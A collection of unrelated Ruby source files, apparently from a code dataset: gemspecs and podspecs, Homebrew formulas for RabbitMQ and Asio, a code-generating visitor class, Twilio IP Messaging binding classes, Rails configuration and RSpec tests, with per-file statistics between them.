# -*- encoding: utf-8 -*- require 'json' package = JSON.parse(File.read('bower.json')) Gem::Specification.new do |gem| gem.name = "handlebars-source" gem.authors = ["Yehuda Katz"] gem.email = ["[email protected]"] gem.date = Time.now.strftime("%Y-%m-%d") gem.description = %q{Handlebars.js source code wrapper for (pre)compilation gems.} gem.summary = %q{Handlebars.js source code wrapper} gem.homepage = "https://github.com/wycats/handlebars.js/" gem.version = package["version"] gem.license = "MIT" gem.files = [ 'handlebars.js', 'handlebars.runtime.js', 'lib/handlebars/source.rb' ] end
29.695652
86
0.612006
01679cc5b05a7363a3a3ecedcfebe31e63ec41e2
8,381
require_relative "./visitor" require_relative "./code" module MTS # on separe le traitement a faire sur chaque node de la maniere dont les parcourir class PrettyPrinter < Visitor attr_accessor :code def initialize @code = Code.new end def visitRoot node puts "root" @code << "require '../MTS/mts_actors_model'" @code.newline 2 # for each class node.classes.each do |klass,methods| @code << "class #{klass}" oredered_actors_classes = node.ordered_actors.map { |a| a.class.to_s } puts "ORDERED CLASSES" pp oredered_actors_classes if oredered_actors_classes.uniq.include?(klass.to_s) @code << " < MTS::Actor" end @code.wrap # printing inouts inputs, outputs = [], [] node.connexions.each do |conx| if conx[0][:cname] == klass outputs << conx[0][:port] end if conx[1][:cname] == klass inputs << conx[1][:port] end end @code << "input " unless inputs.size == 0 inputs.uniq.each_with_index do |input,idx| if idx != 0 @code << ", " end @code << ":#{input}" end @code.newline @code << "output " unless outputs.size == 0 outputs.uniq.each_with_index do |output,idx| if idx != 0 @code << ", " end @code << ":#{output}" end @code.newline @code.newline # go for each method methods.each do |methArray| #code << methArray[0].to_s + "\n" methArray[1].accept self end @code.unwrap @code.newline 2 @code << "end" @code.newline 2 #puts "KOUKOUUUUUU" #pp node #pp node.connexions end if !node.connexions.nil? @code << "sys=MTS::System.new('sys1') do" @code.wrap node.ordered_actors.each do |actor| @code << "#{actor.name} = #{actor.class}.new('#{actor.name}')\n" end @code << "set_actors([" node.ordered_actors.each_with_index do |actor,idx| if idx != 0 @code << "," end @code << actor.name end @code << "])\n" node.connexions.each do |conx| #@code << "connect(#{conx})" @code << "connect_as(:#{conx[0][:moc]}, #{conx[0][:ename]}.#{conx[0][:port]} => #{conx[1][:ename]}.#{conx[1][:port]})\n" end @code.unwrap @code << "end" end # then we create the sys objet end # def visitRoot node # puts "root" # pp node # # @code << "require '../MTS/mts_actors_model'" # @code.newline 2 # # #should work fine, the sorting is made on the # iterate_on = node.methods.keys.sort! # #node.methods.sort! # previous = "" # iterate_on.each do |mname| # puts "=================#{mname.to_s}==================" # #if mname[1] == :behavior # DATA.currentContext = mname # # if previous != mname[0].to_s # previous = mname[0].to_s # @code << "class #{mname[0]} < MTS::Actor" # @code.newline 2 # @code.wrap # end # # node.methods[mname].accept self # unless method.nil? # # if previous != mname[0].to_s # @code.unwrap # @code.newline 2 # @code << "end" # @code.newline 2 # end # #end # end # # @code.unwrap # @code.newline 2 # @code << "end" # # @code.newline 2 # @code << "sys=MTS::System.new('sys1') do \n sensor_1 = Sensor.new('sens1')\nend" # # end def visitUnknown node puts "unknown" @code << node.to_s end def visitMethod node puts "method" @code << "def #{node.name}(#{node.args.join(', ')})" @code.wrap node.body.accept self unless node.body.nil? @code.unwrap @code << "end" @code.newline 2 end # def visitBody node # puts "body" # @code << "(" # if node.methodBody # @code.newline # end # node.stmts.each do |el| # el.accept self unless el.nil? # end # if node.methodBody # @code.newline # end # @code << ")" # end def visitBody node puts "body" # for now, always inactive. if node.wrapperBody @code.newline node.stmts.each do |el| el.accept self unless el.nil? end @code.newline else @code << "(" node.stmts.each do |el| el.accept self unless el.nil? end @code << ")" end end def visitAssign node puts "assign" @code.newline @code << node.lhs.to_s + " = " node.rhs.accept self unless node.rhs.nil? @code.newline end def visitOpAssign node puts "op_assign" @code.newline @code << node.lhs.lhs.to_s + " #{node.mid}= " node.rhs.accept self unless node.rhs.nil? @code.newline end def visitIf node puts "if" @code.newline @code << "if (" node.cond.accept self @code << ")" @code.wrap node.body.accept self unless node.body.nil? @code.unwrap @code << "else" @code.wrap node.else_.accept self unless node.else_.nil? @code.unwrap @code << "end" end def visitWhile node puts "while" @code.newline @code << "while #{node.cond}" @code.wrap node.body.accept self unless node.body.nil? @code.unwrap @code << "end" end def visitFor node puts "for" # make sure this works node.idx ||= "i" @code.newline @code << "for #{node.idx} in (" node.range.accept self unless node.range.nil? @code << ")" @code.wrap node.body.accept self unless node.body.nil? @code.unwrap @code << "end" end def visitCase node puts "case" @code.newline node.whens.accept self unless node.whens.nil? node.else_.accept self unless node.else_.nil? @code << "(CASE)" end def visitWhen node puts "when" @code.newline node.body.accept self unless node.body.nil? @code << "(WHEN)" end def visitMCall node puts "mcall" @code.newline if node.caller.nil? @code << "#{node.method}(" else node.caller.accept self @code << ".#{node.method}(" end node.args.each_with_index do |arg,idx| if idx != 0 @code << ", " end arg.accept self end @code << ")" end def visitDStr node puts "dstr" node.elements.each_with_index do |el,idx| if idx != 0 @code << " + " end el.accept self unless el.nil? if !(el.is_a? StrLit) @code << ".to_s" end end end def visitLVar node puts "lvar" @code << node.name.to_s end def visitIntLit node puts "intlit" @code << node.value.to_s end def visitFloatLit node puts "floatlit" @code << node.value.to_s end def visitStrLit node puts "strlit" @code << '"'+node.value.to_s+'"' end def visitIRange node puts "irange" #@code << "(IRANGE : (lhs : #{node.lhs}, rhs : #{node.rhs}))" @code << "(" node.lhs.accept self @code << ".." node.rhs.accept self @code << ")" end def visitAry node puts "ary" @code << "[" node.elements.each_with_index do |el,idx| if idx != 0 @code << "," end el.accept self end @code << "]" end def visitHsh node puts "hsh" @code << "(HASH)" end def visitRegExp node puts "regexp" @code << "REGEXP" end def visitReturn node puts "return" @code.newline @code << "return " node.value.accept self unless node.value.nil? end def visitConst node puts "const" pp node @code << "#{node.children[1]}" end def visitSym node puts "sym" @code << ":#{node.value}" end end end
22.055263
130
0.501253
ed8478caa6bf9f6d46f7daf7142b2c8e0c5cb643
761
Pod::Spec.new do |spec| spec.name = "ShazamLite" spec.version = "1.0.0" spec.swift_version = "4.2" spec.summary = "An asynchronous, easy-to-use, and rapid HTTP Networking framework for iOS." spec.description = "ShazamLite is Networking framework built on top of URLSession that provides custom request building, response assessing, and error handling as well as custom JSON Decoding." spec.homepage = "https://github.com/MediBoss/ShazamLite" spec.license = "MIT" spec.author = { "Medi Assumani" => "[email protected]" } spec.platform = :ios, "10.0" spec.source = { :git => "https://github.com/MediBoss/ShazamLite.git", :tag => "1.0.0" } spec.source_files = "Shazam/Shazam/Source/**.swift" end
54.357143
196
0.675427
385fe41ebe1e977c0b30485730a52ae24d4e2462
3,755
class Rabbitmq < Formula desc "Messaging broker" homepage "https://www.rabbitmq.com" url "https://github.com/rabbitmq/rabbitmq-server/releases/download/v3.7.18/rabbitmq-server-generic-unix-3.7.18.tar.xz" sha256 "30a8439671f44f0fc9611782fdfaabba5c1773da85fca279e2850ad28442a2d5" bottle :unneeded depends_on "erlang" depends_on "unzip" => :build unless OS.mac? def install # Install the base files prefix.install Dir["*"] # Setup the lib files (var/"lib/rabbitmq").mkpath (var/"log/rabbitmq").mkpath # Correct SYS_PREFIX for things like rabbitmq-plugins erlang = Formula["erlang"] inreplace sbin/"rabbitmq-defaults" do |s| s.gsub! "SYS_PREFIX=${RABBITMQ_HOME}", "SYS_PREFIX=#{HOMEBREW_PREFIX}" s.gsub! /^ERL_DIR=$/, "ERL_DIR=#{erlang.opt_bin}/" s.gsub! "CLEAN_BOOT_FILE=start_clean", "CLEAN_BOOT_FILE=#{erlang.opt_lib/"erlang/bin/start_clean"}" s.gsub! "SASL_BOOT_FILE=start_sasl", "SASL_BOOT_FILE=#{erlang.opt_lib/"erlang/bin/start_clean"}" end # Set RABBITMQ_HOME in rabbitmq-env inreplace sbin/"rabbitmq-env", 'RABBITMQ_HOME="$(rmq_realpath "${RABBITMQ_SCRIPTS_DIR}/..")"', "RABBITMQ_HOME=#{prefix}" # Create the rabbitmq-env.conf file rabbitmq_env_conf = etc/"rabbitmq/rabbitmq-env.conf" rabbitmq_env_conf.write rabbitmq_env unless rabbitmq_env_conf.exist? # Enable plugins - management web UI; STOMP, MQTT, AMQP 1.0 protocols enabled_plugins_path = etc/"rabbitmq/enabled_plugins" enabled_plugins_path.write "[rabbitmq_management,rabbitmq_stomp,rabbitmq_amqp1_0,rabbitmq_mqtt]." unless enabled_plugins_path.exist? # Extract rabbitmqadmin and install to sbin # use it to generate, then install the bash completion file system (OS.mac? ? "/usr/bin/unzip" : "unzip"), "-qq", "-j", "#{prefix}/plugins/rabbitmq_management-#{version}.ez", "rabbitmq_management-#{version}/priv/www/cli/rabbitmqadmin" sbin.install "rabbitmqadmin" (sbin/"rabbitmqadmin").chmod 0755 (bash_completion/"rabbitmqadmin.bash").write Utils.popen_read("#{sbin}/rabbitmqadmin --bash-completion") end def caveats; <<~EOS Management Plugin enabled by default at http://localhost:15672 EOS end def rabbitmq_env; <<~EOS CONFIG_FILE=#{etc}/rabbitmq/rabbitmq NODE_IP_ADDRESS=127.0.0.1 NODENAME=rabbit@localhost RABBITMQ_LOG_BASE=#{var}/log/rabbitmq EOS end plist_options :manual => "rabbitmq-server" def plist; <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>Program</key> <string>#{opt_sbin}/rabbitmq-server</string> <key>RunAtLoad</key> <true/> <key>EnvironmentVariables</key> <dict> <!-- need erl in the path --> <key>PATH</key> <string>#{HOMEBREW_PREFIX}/sbin:/usr/sbin:/usr/bin:/bin:#{HOMEBREW_PREFIX}/bin</string> <!-- specify the path to the rabbitmq-env.conf file --> <key>CONF_ENV_FILE</key> <string>#{etc}/rabbitmq/rabbitmq-env.conf</string> </dict> <key>StandardErrorPath</key> <string>#{var}/log/rabbitmq/std_error.log</string> <key>StandardOutPath</key> <string>#{var}/log/rabbitmq/std_out.log</string> </dict> </plist> EOS end test do ENV["RABBITMQ_MNESIA_BASE"] = testpath/"var/lib/rabbitmq/mnesia" system sbin/"rabbitmq-server", "-detached" sleep 5 system sbin/"rabbitmqctl", "status" system sbin/"rabbitmqctl", "stop" end end
35.424528
136
0.667377
e8fdb48e2d0f5ca5959acde495561ae97b890fda
2,017
class Asio < Formula desc "Cross-platform C++ Library for asynchronous programming" homepage "https://think-async.com/Asio" url "https://downloads.sourceforge.net/project/asio/asio/1.12.0%20%28Stable%29/asio-1.12.0.tar.bz2" sha256 "2c350b9ad7e266ab47935200a09194cbdf6f7ce2e3cabeddae6c68360d39d3ad" head "https://github.com/chriskohlhoff/asio.git" bottle do cellar :any sha256 "da6bcc10e894ac74f79546334dac00c3563bc9ce625425d813d14a925b5fe384" => :high_sierra sha256 "7efba40b78206a1895b39589db2ba9377d96a183f807304e27bec9d6008979ba" => :sierra sha256 "a8947a5dbf1ad0e68f1a0a87e38f07d1fef98c12498b93b157dc51ab30b60112" => :el_capitan end option "with-boost-coroutine", "Use Boost.Coroutine to implement stackful coroutines" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "boost" => :optional depends_on "boost" if build.with?("boost-coroutine") depends_on "openssl" needs :cxx11 if build.without? "boost" def install ENV.cxx11 if build.without? "boost" if build.head? cd "asio" system "./autogen.sh" else system "autoconf" end args = %W[ --disable-dependency-tracking --disable-silent-rules --prefix=#{prefix} --with-boost=#{(build.with?("boost") || build.with?("boost-coroutine")) ? Formula["boost"].opt_include : "no"} ] args << "--enable-boost-coroutine" if build.with? "boost-coroutine" system "./configure", *args system "make", "install" pkgshare.install "src/examples" end test do found = [pkgshare/"examples/cpp11/http/server/http_server", pkgshare/"examples/cpp03/http/server/http_server"].select(&:exist?) raise "no http_server example file found" if found.empty? pid = fork do exec found.first, "127.0.0.1", "8080", "." end sleep 1 begin assert_match /404 Not Found/, shell_output("curl http://127.0.0.1:8080") ensure Process.kill 9, pid Process.wait pid end end end
31.515625
116
0.691125
6a4742194f6afa77a848775af1a880f0405743a0
486
require 'spec_helper' describe SportsDataApi::Mlb::Season, vcr: { cassette_name: 'sports_data_api_mlb_season', record: :new_episodes, match_requests_on: [:host, :path] } do context 'results from schedule fetch' do let(:season) do SportsDataApi.set_access_level(:mlb, 't') SportsDataApi.set_key(:mlb, api_key(:mlb)) SportsDataApi::Mlb.schedule(2014) end subject { season } its(:games) { should have(2449).games} end end
24.3
50
0.662551
260491e493736bef038b3e47cfce496a96de740c
13,175
## # This code was generated by # \ / _ _ _| _ _ # | (_)\/(_)(_|\/| |(/_ v1.0.0 # / / # # frozen_string_literal: true module Twilio module REST class IpMessaging < Domain class V2 < Version class ServiceContext < InstanceContext class BindingList < ListResource ## # Initialize the BindingList # @param [Version] version Version that contains the resource # @param [String] service_sid The service_sid # @return [BindingList] BindingList def initialize(version, service_sid: nil) super(version) # Path Solution @solution = {service_sid: service_sid} @uri = "/Services/#{@solution[:service_sid]}/Bindings" end ## # Lists BindingInstance records from the API as a list. # Unlike stream(), this operation is eager and will load `limit` records into # memory before returning. # @param [Array[binding.BindingType]] binding_type The binding_type # @param [Array[String]] identity The identity # @param [Integer] limit Upper limit for the number of records to return. stream() # guarantees to never return more than limit. Default is no limit # @param [Integer] page_size Number of records to fetch per request, when # not set will use the default value of 50 records. If no page_size is defined # but a limit is defined, stream() will attempt to read the limit with the most # efficient page size, i.e. min(limit, 1000) # @return [Array] Array of up to limit results def list(binding_type: :unset, identity: :unset, limit: nil, page_size: nil) self.stream( binding_type: binding_type, identity: identity, limit: limit, page_size: page_size ).entries end ## # Streams BindingInstance records from the API as an Enumerable. # This operation lazily loads records as efficiently as possible until the limit # is reached. # @param [Array[binding.BindingType]] binding_type The binding_type # @param [Array[String]] identity The identity # @param [Integer] limit Upper limit for the number of records to return. stream() # guarantees to never return more than limit. Default is no limit. # @param [Integer] page_size Number of records to fetch per request, when # not set will use the default value of 50 records. If no page_size is defined # but a limit is defined, stream() will attempt to read the limit with the most # efficient page size, i.e. min(limit, 1000) # @return [Enumerable] Enumerable that will yield up to limit results def stream(binding_type: :unset, identity: :unset, limit: nil, page_size: nil) limits = @version.read_limits(limit, page_size) page = self.page(binding_type: binding_type, identity: identity, page_size: limits[:page_size], ) @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit]) end ## # When passed a block, yields BindingInstance records from the API. # This operation lazily loads records as efficiently as possible until the limit # is reached. def each limits = @version.read_limits page = self.page(page_size: limits[:page_size], ) @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit]).each {|x| yield x} end ## # Retrieve a single page of BindingInstance records from the API. # Request is executed immediately. # @param [Array[binding.BindingType]] binding_type The binding_type # @param [Array[String]] identity The identity # @param [String] page_token PageToken provided by the API # @param [Integer] page_number Page Number, this value is simply for client state # @param [Integer] page_size Number of records to return, defaults to 50 # @return [Page] Page of BindingInstance def page(binding_type: :unset, identity: :unset, page_token: :unset, page_number: :unset, page_size: :unset) params = Twilio::Values.of({ 'BindingType' => Twilio.serialize_list(binding_type) { |e| e }, 'Identity' => Twilio.serialize_list(identity) { |e| e }, 'PageToken' => page_token, 'Page' => page_number, 'PageSize' => page_size, }) response = @version.page('GET', @uri, params: params) BindingPage.new(@version, response, @solution) end ## # Retrieve a single page of BindingInstance records from the API. # Request is executed immediately. # @param [String] target_url API-generated URL for the requested results page # @return [Page] Page of BindingInstance def get_page(target_url) response = @version.domain.request( 'GET', target_url ) BindingPage.new(@version, response, @solution) end ## # Provide a user friendly representation def to_s '#<Twilio.IpMessaging.V2.BindingList>' end end class BindingPage < Page ## # Initialize the BindingPage # @param [Version] version Version that contains the resource # @param [Response] response Response from the API # @param [Hash] solution Path solution for the resource # @return [BindingPage] BindingPage def initialize(version, response, solution) super(version, response) # Path Solution @solution = solution end ## # Build an instance of BindingInstance # @param [Hash] payload Payload response from the API # @return [BindingInstance] BindingInstance def get_instance(payload) BindingInstance.new(@version, payload, service_sid: @solution[:service_sid], ) end ## # Provide a user friendly representation def to_s '<Twilio.IpMessaging.V2.BindingPage>' end end class BindingContext < InstanceContext ## # Initialize the BindingContext # @param [Version] version Version that contains the resource # @param [String] service_sid The service_sid # @param [String] sid The sid # @return [BindingContext] BindingContext def initialize(version, service_sid, sid) super(version) # Path Solution @solution = {service_sid: service_sid, sid: sid, } @uri = "/Services/#{@solution[:service_sid]}/Bindings/#{@solution[:sid]}" end ## # Fetch the BindingInstance # @return [BindingInstance] Fetched BindingInstance def fetch payload = @version.fetch('GET', @uri) BindingInstance.new(@version, payload, service_sid: @solution[:service_sid], sid: @solution[:sid], ) end ## # Delete the BindingInstance # @return [Boolean] true if delete succeeds, false otherwise def delete @version.delete('DELETE', @uri) end ## # Provide a user friendly representation def to_s context = @solution.map {|k, v| "#{k}: #{v}"}.join(',') "#<Twilio.IpMessaging.V2.BindingContext #{context}>" end ## # Provide a detailed, user friendly representation def inspect context = @solution.map {|k, v| "#{k}: #{v}"}.join(',') "#<Twilio.IpMessaging.V2.BindingContext #{context}>" end end class BindingInstance < InstanceResource ## # Initialize the BindingInstance # @param [Version] version Version that contains the resource # @param [Hash] payload payload that contains response from Twilio # @param [String] service_sid The service_sid # @param [String] sid The sid # @return [BindingInstance] BindingInstance def initialize(version, payload, service_sid: nil, sid: nil) super(version) # Marshaled Properties @properties = { 'sid' => payload['sid'], 'account_sid' => payload['account_sid'], 'service_sid' => payload['service_sid'], 'date_created' => Twilio.deserialize_iso8601_datetime(payload['date_created']), 'date_updated' => Twilio.deserialize_iso8601_datetime(payload['date_updated']), 'endpoint' => payload['endpoint'], 'identity' => payload['identity'], 'credential_sid' => payload['credential_sid'], 'binding_type' => payload['binding_type'], 'message_types' => payload['message_types'], 'url' => payload['url'], 'links' => payload['links'], } # Context @instance_context = nil @params = {'service_sid' => service_sid, 'sid' => sid || @properties['sid'], } end ## # Generate an instance context for the instance, the context is capable of # performing various actions. All instance actions are proxied to the context # @return [BindingContext] BindingContext for this BindingInstance def context unless @instance_context @instance_context = BindingContext.new(@version, @params['service_sid'], @params['sid'], ) end @instance_context end ## # @return [String] The sid def sid @properties['sid'] end ## # @return [String] The account_sid def account_sid @properties['account_sid'] end ## # @return [String] The service_sid def service_sid @properties['service_sid'] end ## # @return [Time] The date_created def date_created @properties['date_created'] end ## # @return [Time] The date_updated def date_updated @properties['date_updated'] end ## # @return [String] The endpoint def endpoint @properties['endpoint'] end ## # @return [String] The identity def identity @properties['identity'] end ## # @return [String] The credential_sid def credential_sid @properties['credential_sid'] end ## # @return [binding.BindingType] The binding_type def binding_type @properties['binding_type'] end ## # @return [Array[String]] The message_types def message_types @properties['message_types'] end ## # @return [String] The url def url @properties['url'] end ## # @return [String] The links def links @properties['links'] end ## # Fetch the BindingInstance # @return [BindingInstance] Fetched BindingInstance def fetch context.fetch end ## # Delete the BindingInstance # @return [Boolean] true if delete succeeds, false otherwise def delete context.delete end ## # Provide a user friendly representation def to_s values = @params.map{|k, v| "#{k}: #{v}"}.join(" ") "<Twilio.IpMessaging.V2.BindingInstance #{values}>" end ## # Provide a detailed, user friendly representation def inspect values = @properties.map{|k, v| "#{k}: #{v}"}.join(" ") "<Twilio.IpMessaging.V2.BindingInstance #{values}>" end end end end end end end
37.642857
120
0.529412
62e1e9b0329d8b6bc253e65802aa486662e5a2ff
131
class AddCategoryIdToRecipes < ActiveRecord::Migration[5.1] def change add_column :recipes, :category_id, :integer end end
21.833333
59
0.763359
fff99c772b2db892d27319e7d7f959010acb2ac9
1,235
require 'json' package = JSON.parse(File.read(File.join(__dir__, '..', 'package.json'))) Pod::Spec.new do |s| s.name = 'EXUpdates' s.version = package['version'] s.summary = package['description'] s.description = package['description'] s.license = package['license'] s.author = package['author'] s.homepage = package['homepage'] s.platform = :ios, '11.0' s.source = { git: 'https://github.com/expo/expo.git' } s.dependency 'ExpoModulesCore' s.dependency 'React-Core' s.dependency 'EXStructuredHeaders' s.dependency 'EXUpdatesInterface' s.pod_target_xcconfig = { 'GCC_TREAT_INCOMPATIBLE_POINTER_TYPE_WARNINGS_AS_ERRORS' => 'YES', 'GCC_TREAT_IMPLICIT_FUNCTION_DECLARATIONS_AS_ERRORS' => 'YES' } if !$ExpoUseSources&.include?(package['name']) && ENV['EXPO_USE_SOURCE'].to_i == 0 && File.exist?("#{s.name}.xcframework") && Gem::Version.new(Pod::VERSION) >= Gem::Version.new('1.10.0') s.source_files = "#{s.name}/**/*.h" s.vendored_frameworks = "#{s.name}.xcframework" else s.source_files = "#{s.name}/**/*.{h,m}" end s.test_spec 'Tests' do |test_spec| test_spec.source_files = 'Tests/*.{h,m,swift}' end end
33.378378
188
0.636437
e83d3a27bfa45d2dff2d6213e78404b15f487427
271
Rails.application.routes.draw do root 'static_page#home' get 'static_page/home' get 'static_page/help' get 'static_page/about' get 'static_page/contact' # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html end
24.636364
101
0.756458
2672c5556855fef438f4028390af65bd6c429afc
687
require 'spec_helper' describe Spree::Api::V2::Platform::PropertySerializer do include_context 'API v2 serializers params' subject { described_class.new(resource, params: serializer_params).serializable_hash } let(:type) { :property } let(:resource) { create(type) } it do expect(subject).to eq( data: { id: resource.id.to_s, type: type, attributes: { name: resource.name, presentation: resource.presentation, created_at: resource.created_at, updated_at: resource.updated_at, filterable: resource.filterable, filter_param: resource.filter_param } } ) end end
24.535714
88
0.63901
79e7589d8a08b90d3a4f7542432d810976b4299f
1,528
Gem::Specification.new do |s| s.name = 'logstash-input-rss2' s.version = '6.2.3' s.licenses = ['Apache-2.0'] s.summary = 'Extended RSS/Atom input plugin for Logstash' s.description = 'This gem is a Logstash plugin required to be installed on top of the Logstash core pipeline using $LS_HOME/bin/logstash-plugin install gemname. This gem is not a stand-alone program' s.authors = %w[mkoertgen ThomasMentzel] s.email = '[email protected]' s.homepage = 'https://github.com/awesome-inc/logstash-input-rss2' s.require_paths = ['lib'] # Files s.files = Dir['lib/**/*', 'spec/**/*', 'vendor/**/*', '*.gemspec', '*.md', 'CONTRIBUTORS', 'Gemfile', 'LICENSE', 'NOTICE.TXT'] # Tests s.test_files = s.files.grep(%r{^(test|spec|features)/}) # Special flag to let us know this is actually a logstash plugin s.metadata = { 'logstash_plugin' => 'true', 'logstash_group' => 'input' } # Gem dependencies s.add_runtime_dependency 'feedjira', '~> 2.1', '>= 2.1.4' s.add_runtime_dependency 'rippersnapper', '~> 0.0', '>= 0.0.9' s.add_runtime_dependency 'stud', '~> 0.0.23', '< 0.1.0' s.add_development_dependency 'logstash-codec-plain', '~> 3.0', '>= 3.0.6' s.add_development_dependency 'logstash-core-plugin-api', '~> 2.1', '>= 2.1.28' s.add_development_dependency 'logstash-devutils', '~> 1.3', '>= 1.3.6' end
41.297297
205
0.586387
79d94c805157895a9f7846a61a60c535f6eb2d29
676
# # Cookbook:: build_cookbook # Recipe:: functional # # Copyright:: 2018, ConvergeOne # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. include_recipe 'delivery-truck::functional'
35.578947
74
0.761834
280bcc7d5ae825159d8429fd40489273fe3b77e5
922
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads/v9/services/click_view_service.proto require 'google/ads/google_ads/v9/resources/click_view_pb' require 'google/api/annotations_pb' require 'google/api/client_pb' require 'google/api/field_behavior_pb' require 'google/api/resource_pb' require 'google/protobuf' Google::Protobuf::DescriptorPool.generated_pool.build do add_file("google/ads/googleads/v9/services/click_view_service.proto", :syntax => :proto3) do add_message "google.ads.googleads.v9.services.GetClickViewRequest" do optional :resource_name, :string, 1 end end end module Google module Ads module GoogleAds module V9 module Services GetClickViewRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v9.services.GetClickViewRequest").msgclass end end end end end
30.733333
153
0.761388
bbbbcf5aa0f95177e5445e38e50ce8832b4d74d8
3,959
require File.dirname(__FILE__) + '/../../../spec_helper' describe "Array::Iterator#next for a forward iterator" do before :each do ScratchPad.record [] @iter = [1, 2, 3, 4].to_iter end it "sets the iterator to the start of the array on the first call" do @iter.next @iter.item.should == 1 @iter.index.should == 0 @iter.at(0).should == 1 end it "sets the iterator to the next element on each subsequent call" do while @iter.next ScratchPad << [@iter.index, @iter.item, @iter.at(0)] end ScratchPad.recorded.should == [[0, 1, 1], [1, 2, 2], [2, 3, 3], [3, 4, 4]] end it "returns true if the iterator was advanced" do @iter.next.should be_true end it "returns false if the iterator cannot advance" do iter = [1, 2].to_iter iter.next.should be_true iter.next.should be_true iter.next.should be_false end it "returns false for an empty array" do [].to_iter.next.should be_false end it "returns true once for a one-element array" do iter = [1].to_iter iter.next.should be_true iter.next.should be_false end it "starts iterating from the array.start sentinel" do a = [1, 2, 3, 4, 5] a.start = 2 a.total = 3 iter = a.to_iter while iter.next ScratchPad << [iter.index, iter.item] end ScratchPad.recorded.should == [[0, 3], [1, 4], [2, 5]] end it "advances by an even step increment that evenly divides the array size" do a = [1, 2, 3, 4, 5, 6] iter = a.to_iter 2 while iter.next ScratchPad << [iter.index, iter.item] end ScratchPad.recorded.should == [[0, 1], [2, 3], [4, 5]] end it "advances by an even step increment that does not evenly divide the array size" do a = [1, 2, 3, 4, 5, 6, 7] iter = a.to_iter 2 while iter.next ScratchPad << [iter.index, iter.item] end ScratchPad.recorded.should == [[0, 1], [2, 3], [4, 5], [6,7]] end it "advances by an odd step increment that evenly divides the array size" do a = [1, 2, 3, 4, 5, 6] iter = a.to_iter 3 while iter.next ScratchPad << [iter.index, iter.item] end ScratchPad.recorded.should == [[0, 1], [3, 4]] end it "advances by an odd step increment that does not evenly divide the array size" do a = [1, 2, 3, 4, 5, 6, 7, 8] iter = a.to_iter 3 while iter.next ScratchPad << [iter.index, iter.item] end ScratchPad.recorded.should == [[0, 1], [3, 4], [6, 7]] end end describe "Array::Iterator#next for a reverse iterator" do before :each do ScratchPad.record [] @iter = [1, 2, 3, 4].to_reverse_iter end it "returns false for an empty array" do [].to_reverse_iter.next.should be_false end it "returns false when the iterator has not been advanced" do @iter.next.should be_false end it "returns true when the iterator can be advanced forward" do @iter.rnext @iter.rnext @iter.next.should be_true end it "advances the iterator in the forward direction" do while @iter.rnext; end while @iter.next ScratchPad << @iter.item end ScratchPad.recorded.should == [1, 2, 3, 4] end it "starts iterating from the array.start sentinel when #rnext has reached its end" do a = [1, 2, 3, 4, 5] a.start = 2 a.total = 3 iter = a.to_reverse_iter while iter.rnext; end while iter.next ScratchPad << [iter.index, iter.item] end ScratchPad.recorded.should == [[0, 3], [1, 4], [2, 5]] end it "moves the iterator forward to positions previously visited by #rnext" do a = [1, 2, 3, 4, 5, 6, 7, 8] iter = a.to_reverse_iter 3 iter.rnext iter.rnext iter.item.should == 5 iter.index.should == 4 iter.rnext iter.item.should == 2 iter.index.should == 1 iter.next iter.item.should == 5 iter.index.should == 4 iter.next iter.item.should == 8 iter.index.should == 7 end end
23.017442
88
0.618338